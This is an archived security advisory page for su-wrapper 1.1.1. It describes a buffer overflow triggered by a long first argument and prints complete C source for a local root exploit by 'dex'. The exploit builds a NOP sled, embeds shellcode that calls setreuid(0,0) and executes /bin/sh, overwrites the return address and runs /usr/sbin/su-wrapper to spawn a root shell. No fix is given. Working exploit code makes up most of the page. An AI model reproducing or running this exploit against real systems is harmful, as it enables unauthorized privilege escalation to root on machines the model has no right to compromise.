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TUCoPS :: Unix :: General :: suwrap.htm

Su-wrapper 1.1.1 exploit



Vulnerability

    su-wrapper

Affected

    su-wrapper 1.1.1

Description

    su-wrapper  is  an  little  util  which lets special users execute
    processes under  another uid/gid.   If a  long line  on the  first
    argument is gived, the program sends a SIGSEGV Signal.

    Affected are all Systems who have su-wrapper installed.  Not  sure
    if other versions are vulnerable too.

    /*************************************************************************/
    /* /usr/sbin/su-wrapper(su-wrapper 1.1.1) local root exploit.            */
    /*                                                                       */
    /*                                                                       */
    /* This bug was reported to Enrico Weigelt (weigelt@nibiru.thur.de)      */
    /*                                                                       */
    /* Greets: NOP, dr_fdisk^, yield, vlad, dead, fatal, kuk, neuro, alt3kx, */
    /* etc                                                                   */
    /*        dex: dexgod@softhome.net <> http://www.raza-mexicana.org -     */
    /*************************************************************************/
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    #define BUFFERSIZE 1032
    #define OFFSET 0
    #define ALIGN 0
    
    static char shellcode[]=
      "\x29\xc0"                             /* subl %eax, %eax          */
      "\xb0\x46"                             /* movb $70, %al            */
      "\x29\xdb"                             /* subl %ebx, %ebx          */
      "\xb3\x0c"                             /* movb $12, %bl            */
      "\x80\xeb\x0c"                         /* subb $12, %bl            */
      "\x89\xd9"                             /* movl %ebx, %ecx          */
      "\xcd\x80"                             /* int $0x80                */
      "\xeb\x18"                             /* jmp callz                */
      "\x5e"                                 /* popl %esi                */
      "\x29\xc0"                             /* subl %eax, %eax          */
      "\x88\x46\x07"                         /* movb %al, 0x07(%esi)     */
      "\x89\x46\x0c"                         /* movl %eax, 0x0c(%esi)    */
      "\x89\x76\x08"                         /* movl %esi, 0x08(%esi)    */
      "\xb0\x0b"                             /* movb $0x0b, %al          */
      "\x87\xf3"                             /* xchgl %esi, %ebx         */
      "\x8d\x4b\x08"                         /* leal 0x08(%ebx), %ecx    */
      "\x8d\x53\x0c"                         /* leal 0x0c(%ebx), %edx    */
      "\xcd\x80"                             /* int $0x80                */
      "\xe8\xe3\xff\xff\xff"                 /* call start               */
      "\x2f\x62\x69\x6e\x2f\x73\x68";
    
    unsigned long get_sp(void) {
     __asm__("movl %esp, %eax");
    }
    
    void main(int argc, char **argv) {
    
     int i;
    
     unsigned long addr;
    
     char *buffer;
    
     int buffersize = BUFFERSIZE;
     int offset = OFFSET;
     int align = ALIGN;
    
     if(argc > 1) offset = atoi(argv[1]);
    
     if(argc > 2) align = atoi(argv[2]);
    
     if(argc > 3) buffersize = atoi(argv[3]);
    
     buffer = (char *)malloc(buffersize +8);
    
     addr = get_sp() - offset;
    
     for(i = 0; i < buffersize; i+=4) {
      *(long *)&buffer[i] = 0x90909090;
     }
    
     *(long *)&buffer[buffersize - 4] = addr;
    
     *(long *)&buffer[buffersize - 8] = addr;
    
     memcpy(buffer + buffersize - 8 - strlen(shellcode) - align, shellcode,
    strlen(shellcode));
    
     printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");
    
     printf("[x] su-wrapper 1.1.1 local root exploit\n");
     printf("[x] dex: - dexgod@softhome.net <> http://www.raza-mexicana.org - \n");
    
    
    printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
    
     printf("[x] Address = 0x%x, Align = %d, Offset = %d\n", addr, align, offset);
    
    
    printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
    
     printf("[x] Exploiting...\n");
    
     if ((execl("/usr/sbin/su-wrapper", "su-wrapper", buffer, NULL)) != 0) {
      printf("Could not start su-wrapper, /usr/sbin/su-wrapper exists?\n");
     }
    
    }

Solution

    Nothing yet.


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